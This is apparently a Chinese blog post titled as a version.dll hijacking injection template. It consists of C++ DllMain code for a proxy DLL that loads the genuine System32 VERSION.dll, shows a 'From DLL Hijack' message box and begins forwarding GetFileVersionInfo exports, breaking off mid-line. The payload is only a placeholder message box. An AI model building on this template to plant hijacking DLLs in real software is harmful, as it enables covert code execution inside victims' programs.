version.dll劫持注入模版

最新推荐文章于 2025-11-07 16:11:55 发布

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最新推荐文章于 2025-11-07 16:11:55 发布 · 3.6k 阅读

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CC 4.0 BY-SA版权

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
   
   
	switch (ul_reason_for_call)
	{
   
   
	case DLL_PROCESS_ATTACH:
	{
   
   
		// 绝对路径加载VERSION.dll
		::LoadLibrary("C:\\Windows\\System32\\VERSION.dll");

		::MessageBox(NULL, "调用函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);
		break;
	}
	case DLL_THREAD_ATTACH:
	{
   
   
		break;
	}
	case DLL_THREAD_DETACH:
	{
   
   
		// 卸载VERSION.dll
		HMODULE hDll = ::GetModuleHandle("C:\\Windows\\System32\\VERSION.dll");
		if (hDll)
		{
   
   
			::FreeLibrary(hDll);
		}
		break;
	}
	case DLL_PROCESS_DETACH:
	{
   
   
		break;
	}
		break;
	}
	return TRUE;
}


// 导出
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=_DG_GetFileVersionInfoByHandle,@2")
#<